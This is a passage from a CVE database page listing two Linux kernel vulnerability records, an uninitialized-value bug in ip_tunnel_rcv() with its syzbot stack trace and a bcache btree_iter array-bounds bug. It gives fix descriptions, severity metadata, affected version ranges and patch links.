    "dateReserved": "2024-10-21T19:36:19.956Z",
    "dateUpdated": "2026-05-12T12:00:20.085Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26882 (GCVE-0-2024-26882)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:27 – Updated: 2026-05-12 11:50

Title

net: ip_tunnel: make sure to pull inner header in ip_tunnel_rcv()

Summary

In the Linux kernel, the following vulnerability has been resolved: net: ip_tunnel: make sure to pull inner header in ip_tunnel_rcv() Apply the same fix than ones found in : 8d975c15c0cd ("ip6_tunnel: make sure to pull inner header in __ip6_tnl_rcv()") 1ca1ba465e55 ("geneve: make sure to pull inner header in geneve_rx()") We have to save skb->network_header in a temporary variable in order to be able to recompute the network_header pointer after a pskb_inet_may_pull() call. pskb_inet_may_pull() makes sure the needed headers are in skb->head. syzbot reported: BUG: KMSAN: uninit-value in __INET_ECN_decapsulate include/net/inet_ecn.h:253 [inline] BUG: KMSAN: uninit-value in INET_ECN_decapsulate include/net/inet_ecn.h:275 [inline] BUG: KMSAN: uninit-value in IP_ECN_decapsulate include/net/inet_ecn.h:302 [inline] BUG: KMSAN: uninit-value in ip_tunnel_rcv+0xed9/0x2ed0 net/ipv4/ip_tunnel.c:409 __INET_ECN_decapsulate include/net/inet_ecn.h:253 [inline] INET_ECN_decapsulate include/net/inet_ecn.h:275 [inline] IP_ECN_decapsulate include/net/inet_ecn.h:302 [inline] ip_tunnel_rcv+0xed9/0x2ed0 net/ipv4/ip_tunnel.c:409 __ipgre_rcv+0x9bc/0xbc0 net/ipv4/ip_gre.c:389 ipgre_rcv net/ipv4/ip_gre.c:411 [inline] gre_rcv+0x423/0x19f0 net/ipv4/ip_gre.c:447 gre_rcv+0x2a4/0x390 net/ipv4/gre_demux.c:163 ip_protocol_deliver_rcu+0x264/0x1300 net/ipv4/ip_input.c:205 ip_local_deliver_finish+0x2b8/0x440 net/ipv4/ip_input.c:233 NF_HOOK include/linux/netfilter.h:314 [inline] ip_local_deliver+0x21f/0x490 net/ipv4/ip_input.c:254 dst_input include/net/dst.h:461 [inline] ip_rcv_finish net/ipv4/ip_input.c:449 [inline] NF_HOOK include/linux/netfilter.h:314 [inline] ip_rcv+0x46f/0x760 net/ipv4/ip_input.c:569 __netif_receive_skb_one_core net/core/dev.c:5534 [inline] __netif_receive_skb+0x1a6/0x5a0 net/core/dev.c:5648 netif_receive_skb_internal net/core/dev.c:5734 [inline] netif_receive_skb+0x58/0x660 net/core/dev.c:5793 tun_rx_batched+0x3ee/0x980 drivers/net/tun.c:1556 tun_get_user+0x53b9/0x66e0 drivers/net/tun.c:2009 tun_chr_write_iter+0x3af/0x5d0 drivers/net/tun.c:2055 call_write_iter include/linux/fs.h:2087 [inline] new_sync_write fs/read_write.c:497 [inline] vfs_write+0xb6b/0x1520 fs/read_write.c:590 ksys_write+0x20f/0x4c0 fs/read_write.c:643 __do_sys_write fs/read_write.c:655 [inline] __se_sys_write fs/read_write.c:652 [inline] __x64_sys_write+0x93/0xd0 fs/read_write.c:652 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xcf/0x1e0 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x63/0x6b Uninit was created at: __alloc_pages+0x9a6/0xe00 mm/page_alloc.c:4590 alloc_pages_mpol+0x62b/0x9d0 mm/mempolicy.c:2133 alloc_pages+0x1be/0x1e0 mm/mempolicy.c:2204 skb_page_frag_refill+0x2bf/0x7c0 net/core/sock.c:2909 tun_build_skb drivers/net/tun.c:1686 [inline] tun_get_user+0xe0a/0x66e0 drivers/net/tun.c:1826 tun_chr_write_iter+0x3af/0x5d0 drivers/net/tun.c:2055 call_write_iter include/linux/fs.h:2087 [inline] new_sync_write fs/read_write.c:497 [inline] vfs_write+0xb6b/0x1520 fs/read_write.c:590 ksys_write+0x20f/0x4c0 fs/read_write.c:643 __do_sys_write fs/read_write.c:655 [inline] __se_sys_write fs/read_write.c:652 [inline] __x64_sys_write+0x93/0xd0 fs/read_write.c:652 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xcf/0x1e0 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x63/0x6b

Severity ?

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/ec6bb01e02cbd4778…
https://git.kernel.org/stable/c/77fd5294ea09b21f6…
https://git.kernel.org/stable/c/5c03387021cfa3336…
https://git.kernel.org/stable/c/60044ab8483635953…
https://git.kernel.org/stable/c/c4c857723b37c2065…
https://git.kernel.org/stable/c/f6723d8dbfdc10c78…
https://git.kernel.org/stable/c/ca914f1cdee8a8579…
https://git.kernel.org/stable/c/b0ec2abf98267f14d…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: c54419321455631079c7d6e60bc732dd0c5914c5 , < ec6bb01e02cbd47781dd90775b631a1dc4bd9d2b (git) Affected: c54419321455631079c7d6e60bc732dd0c5914c5 , < 77fd5294ea09b21f6772ac954a121b87323cec80 (git) Affected: c54419321455631079c7d6e60bc732dd0c5914c5 , < 5c03387021cfa3336b97e0dcba38029917a8af2a (git) Affected: c54419321455631079c7d6e60bc732dd0c5914c5 , < 60044ab84836359534bd7153b92e9c1584140e4a (git) Affected: c54419321455631079c7d6e60bc732dd0c5914c5 , < c4c857723b37c20651300b3de4ff25059848b4b0 (git) Affected: c54419321455631079c7d6e60bc732dd0c5914c5 , < f6723d8dbfdc10c784a56748f86a9a3cd410dbd5 (git) Affected: c54419321455631079c7d6e60bc732dd0c5914c5 , < ca914f1cdee8a85799942c9b0ce5015bbd6844e1 (git) Affected: c54419321455631079c7d6e60bc732dd0c5914c5 , < b0ec2abf98267f14d032102551581c833b0659d3 (git)
Linux	Linux	Affected: 3.10 Unaffected: 0 , < 3.10 (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "LOW",
              "baseScore": 5.3,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-26882",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-07-16T18:00:36.614107Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-08T21:14:07.724Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-12-20T13:06:43.371Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ec6bb01e02cbd47781dd90775b631a1dc4bd9d2b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/77fd5294ea09b21f6772ac954a121b87323cec80"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5c03387021cfa3336b97e0dcba38029917a8af2a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/60044ab84836359534bd7153b92e9c1584140e4a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c4c857723b37c20651300b3de4ff25059848b4b0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f6723d8dbfdc10c784a56748f86a9a3cd410dbd5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ca914f1cdee8a85799942c9b0ce5015bbd6844e1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b0ec2abf98267f14d032102551581c833b0659d3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "url": "https://security.netapp.com/advisory/ntap-20241220-0002/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:05.762Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/ip_tunnel.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "ec6bb01e02cbd47781dd90775b631a1dc4bd9d2b",
              "status": "affected",
              "version": "c54419321455631079c7d6e60bc732dd0c5914c5",
              "versionType": "git"
            },
            {
              "lessThan": "77fd5294ea09b21f6772ac954a121b87323cec80",
              "status": "affected",
              "version": "c54419321455631079c7d6e60bc732dd0c5914c5",
              "versionType": "git"
            },
            {
              "lessThan": "5c03387021cfa3336b97e0dcba38029917a8af2a",
              "status": "affected",
              "version": "c54419321455631079c7d6e60bc732dd0c5914c5",
              "versionType": "git"
            },
            {
              "lessThan": "60044ab84836359534bd7153b92e9c1584140e4a",
              "status": "affected",
              "version": "c54419321455631079c7d6e60bc732dd0c5914c5",
              "versionType": "git"
            },
            {
              "lessThan": "c4c857723b37c20651300b3de4ff25059848b4b0",
              "status": "affected",
              "version": "c54419321455631079c7d6e60bc732dd0c5914c5",
              "versionType": "git"
            },
            {
              "lessThan": "f6723d8dbfdc10c784a56748f86a9a3cd410dbd5",
              "status": "affected",
              "version": "c54419321455631079c7d6e60bc732dd0c5914c5",
              "versionType": "git"
            },
            {
              "lessThan": "ca914f1cdee8a85799942c9b0ce5015bbd6844e1",
              "status": "affected",
              "version": "c54419321455631079c7d6e60bc732dd0c5914c5",
              "versionType": "git"
            },
            {
              "lessThan": "b0ec2abf98267f14d032102551581c833b0659d3",
              "status": "affected",
              "version": "c54419321455631079c7d6e60bc732dd0c5914c5",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/ip_tunnel.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.10"
            },
            {
              "lessThan": "3.10",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ip_tunnel: make sure to pull inner header in ip_tunnel_rcv()\n\nApply the same fix than ones found in :\n\n8d975c15c0cd (\"ip6_tunnel: make sure to pull inner header in __ip6_tnl_rcv()\")\n1ca1ba465e55 (\"geneve: make sure to pull inner header in geneve_rx()\")\n\nWe have to save skb-\u003enetwork_header in a temporary variable\nin order to be able to recompute the network_header pointer\nafter a pskb_inet_may_pull() call.\n\npskb_inet_may_pull() makes sure the needed headers are in skb-\u003ehead.\n\nsyzbot reported:\nBUG: KMSAN: uninit-value in __INET_ECN_decapsulate include/net/inet_ecn.h:253 [inline]\n BUG: KMSAN: uninit-value in INET_ECN_decapsulate include/net/inet_ecn.h:275 [inline]\n BUG: KMSAN: uninit-value in IP_ECN_decapsulate include/net/inet_ecn.h:302 [inline]\n BUG: KMSAN: uninit-value in ip_tunnel_rcv+0xed9/0x2ed0 net/ipv4/ip_tunnel.c:409\n  __INET_ECN_decapsulate include/net/inet_ecn.h:253 [inline]\n  INET_ECN_decapsulate include/net/inet_ecn.h:275 [inline]\n  IP_ECN_decapsulate include/net/inet_ecn.h:302 [inline]\n  ip_tunnel_rcv+0xed9/0x2ed0 net/ipv4/ip_tunnel.c:409\n  __ipgre_rcv+0x9bc/0xbc0 net/ipv4/ip_gre.c:389\n  ipgre_rcv net/ipv4/ip_gre.c:411 [inline]\n  gre_rcv+0x423/0x19f0 net/ipv4/ip_gre.c:447\n  gre_rcv+0x2a4/0x390 net/ipv4/gre_demux.c:163\n  ip_protocol_deliver_rcu+0x264/0x1300 net/ipv4/ip_input.c:205\n  ip_local_deliver_finish+0x2b8/0x440 net/ipv4/ip_input.c:233\n  NF_HOOK include/linux/netfilter.h:314 [inline]\n  ip_local_deliver+0x21f/0x490 net/ipv4/ip_input.c:254\n  dst_input include/net/dst.h:461 [inline]\n  ip_rcv_finish net/ipv4/ip_input.c:449 [inline]\n  NF_HOOK include/linux/netfilter.h:314 [inline]\n  ip_rcv+0x46f/0x760 net/ipv4/ip_input.c:569\n  __netif_receive_skb_one_core net/core/dev.c:5534 [inline]\n  __netif_receive_skb+0x1a6/0x5a0 net/core/dev.c:5648\n  netif_receive_skb_internal net/core/dev.c:5734 [inline]\n  netif_receive_skb+0x58/0x660 net/core/dev.c:5793\n  tun_rx_batched+0x3ee/0x980 drivers/net/tun.c:1556\n  tun_get_user+0x53b9/0x66e0 drivers/net/tun.c:2009\n  tun_chr_write_iter+0x3af/0x5d0 drivers/net/tun.c:2055\n  call_write_iter include/linux/fs.h:2087 [inline]\n  new_sync_write fs/read_write.c:497 [inline]\n  vfs_write+0xb6b/0x1520 fs/read_write.c:590\n  ksys_write+0x20f/0x4c0 fs/read_write.c:643\n  __do_sys_write fs/read_write.c:655 [inline]\n  __se_sys_write fs/read_write.c:652 [inline]\n  __x64_sys_write+0x93/0xd0 fs/read_write.c:652\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xcf/0x1e0 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x63/0x6b\n\nUninit was created at:\n  __alloc_pages+0x9a6/0xe00 mm/page_alloc.c:4590\n  alloc_pages_mpol+0x62b/0x9d0 mm/mempolicy.c:2133\n  alloc_pages+0x1be/0x1e0 mm/mempolicy.c:2204\n  skb_page_frag_refill+0x2bf/0x7c0 net/core/sock.c:2909\n  tun_build_skb drivers/net/tun.c:1686 [inline]\n  tun_get_user+0xe0a/0x66e0 drivers/net/tun.c:1826\n  tun_chr_write_iter+0x3af/0x5d0 drivers/net/tun.c:2055\n  call_write_iter include/linux/fs.h:2087 [inline]\n  new_sync_write fs/read_write.c:497 [inline]\n  vfs_write+0xb6b/0x1520 fs/read_write.c:590\n  ksys_write+0x20f/0x4c0 fs/read_write.c:643\n  __do_sys_write fs/read_write.c:655 [inline]\n  __se_sys_write fs/read_write.c:652 [inline]\n  __x64_sys_write+0x93/0xd0 fs/read_write.c:652\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xcf/0x1e0 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x63/0x6b"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:06:06.712Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/ec6bb01e02cbd47781dd90775b631a1dc4bd9d2b"
        },
        {
          "url": "https://git.kernel.org/stable/c/77fd5294ea09b21f6772ac954a121b87323cec80"
        },
        {
          "url": "https://git.kernel.org/stable/c/5c03387021cfa3336b97e0dcba38029917a8af2a"
        },
        {
          "url": "https://git.kernel.org/stable/c/60044ab84836359534bd7153b92e9c1584140e4a"
        },
        {
          "url": "https://git.kernel.org/stable/c/c4c857723b37c20651300b3de4ff25059848b4b0"
        },
        {
          "url": "https://git.kernel.org/stable/c/f6723d8dbfdc10c784a56748f86a9a3cd410dbd5"
        },
        {
          "url": "https://git.kernel.org/stable/c/ca914f1cdee8a85799942c9b0ce5015bbd6844e1"
        },
        {
          "url": "https://git.kernel.org/stable/c/b0ec2abf98267f14d032102551581c833b0659d3"
        }
      ],
      "title": "net: ip_tunnel: make sure to pull inner header in ip_tunnel_rcv()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26882",
    "datePublished": "2024-04-17T10:27:38.389Z",
    "dateReserved": "2024-02-19T14:20:24.185Z",
    "dateUpdated": "2026-05-12T11:50:05.762Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-39482 (GCVE-0-2024-39482)

Vulnerability from cvelistv5 – Published: 2024-07-05 06:55 – Updated: 2026-05-12 11:55

Title

bcache: fix variable length array abuse in btree_iter

Summary

In the Linux kernel, the following vulnerability has been resolved: bcache: fix variable length array abuse in btree_iter btree_iter is used in two ways: either allocated on the stack with a fixed size MAX_BSETS, or from a mempool with a dynamic size based on the specific cache set. Previously, the struct had a fixed-length array of size MAX_BSETS which was indexed out-of-bounds for the dynamically-sized iterators, which causes UBSAN to complain. This patch uses the same approach as in bcachefs's sort_iter and splits the iterator into a btree_iter with a flexible array member and a btree_iter_stack which embeds a btree_iter as well as a fixed-length data array.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/2c3d7b03b658dc8bf…
https://git.kernel.org/stable/c/5a1922adc5798b7ec…
https://git.kernel.org/stable/c/934e1e4331859183a…
https://git.kernel.org/stable/c/6479b9f41583b0130…
https://git.kernel.org/stable/c/0c31344e22dd8d6b1…
https://git.kernel.org/stable/c/3a861560ccb35f2a4…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: cafe563591446cf80bfbc2fe3bc72a2e36cf1060 , < 2c3d7b03b658dc8bfa6112b194b67b92a87e081b (git) Affected: cafe563591446cf80bfbc2fe3bc72a2e36cf1060 , < 5a1922adc5798b7ec894cd3f197afb6f9591b023 (git) Affected: cafe563591446cf80bfbc2fe3bc72a2e36cf1060 , < 934e1e4331859183a861f396d7dfaf33cb5afb02 (git) Affected: cafe563591446cf80bfbc2fe3bc72a2e36cf1060 , < 6479b9f41583b013041943c4602e1ad61cec8148 (git) Affected: cafe563591446cf80bfbc2fe3bc72a2e36cf1060 , < 0c31344e22dd8d6b1394c6e4c41d639015bdc671 (git) Affected: cafe563591446cf80bfbc2fe3bc72a2e36cf1060 , < 3a861560ccb35f2a4f0a4b8207fa7c2a35fc7f31 (git)
Linux	Linux	Affected: 3.10 Unaffected: 0 , < 3.10 (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.94 , ≤ 6.1.* (semver) Unaffected: 6.6.34 , ≤ 6.6.* (semver) Unaffected: 6.9.5 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-39482",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-07-08T17:54:07.988323Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-08T17:54:15.435Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T04:26:15.917Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2c3d7b03b658dc8bfa6112b194b67b92a87e081b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5a1922adc5798b7ec894cd3f197afb6f9591b023"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/934e1e4331859183a861f396d7dfaf33cb5afb02"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6479b9f41583b013041943c4602e1ad61cec8148"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0c31344e22dd8d6b1394c6e4c41d639015bdc671"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3a861560ccb35f2a4f0a4b8207fa7c2a35fc7f31"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:25.412Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/md/bcache/bset.c",
            "drivers/md/bcache/bset.h",
            "drivers/md/bcache/btree.c",
            "drivers/md/bcache/super.c",
            "drivers/md/bcache/sysfs.c",
            "drivers/md/bcache/writeback.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "2c3d7b03b658dc8bfa6112b194b67b92a87e081b",
              "status": "affected",
              "version": "cafe563591446cf80bfbc2fe3bc72a2e36cf1060",
              "versionType": "git"
            },
            {
              "lessThan": "5a1922adc5798b7ec894cd3f197afb6f9591b023",
              "status": "affected",
              "version": "cafe563591446cf80bfbc2fe3bc72a2e36cf1060",
              "versionType": "git"
            },
            {
              "lessThan": "934e1e4331859183a861f396d7dfaf33cb5afb02",
              "status": "affected",
              "version": "cafe563591446cf80bfbc2fe3bc72a2e36cf1060",
              "versionType": "git"
            },
            {
              "lessThan": "6479b9f41583b013041943c4602e1ad61cec8148",
              "status": "affected",
              "version": "cafe563591446cf80bfbc2fe3bc72a2e36cf1060",
              "versionType": "git"
            },
            {
              "lessThan": "0c31344e22dd8d6b1394c6e4c41d639015bdc671",
              "status": "affected",
              "version": "cafe563591446cf80bfbc2fe3bc72a2e36cf1060",
              "versionType": "git"
            },
            {
              "lessThan": "3a861560ccb35f2a4f0a4b8207fa7c2a35fc7f31",
              "status": "affected",
              "version": "cafe563591446cf80bfbc2fe3bc72a2e36cf1060",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/md/bcache/bset.c",
            "drivers/md/bcache/bset.h",
            "drivers/md/bcache/btree.c",
            "drivers/md/bcache/super.c",
            "drivers/md/bcache/sysfs.c",
            "drivers/md/bcache/writeback.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.10"
            },
            {
              "lessThan": "3.10",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.94",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.34",
              "versionType": "semver"
            },
            {
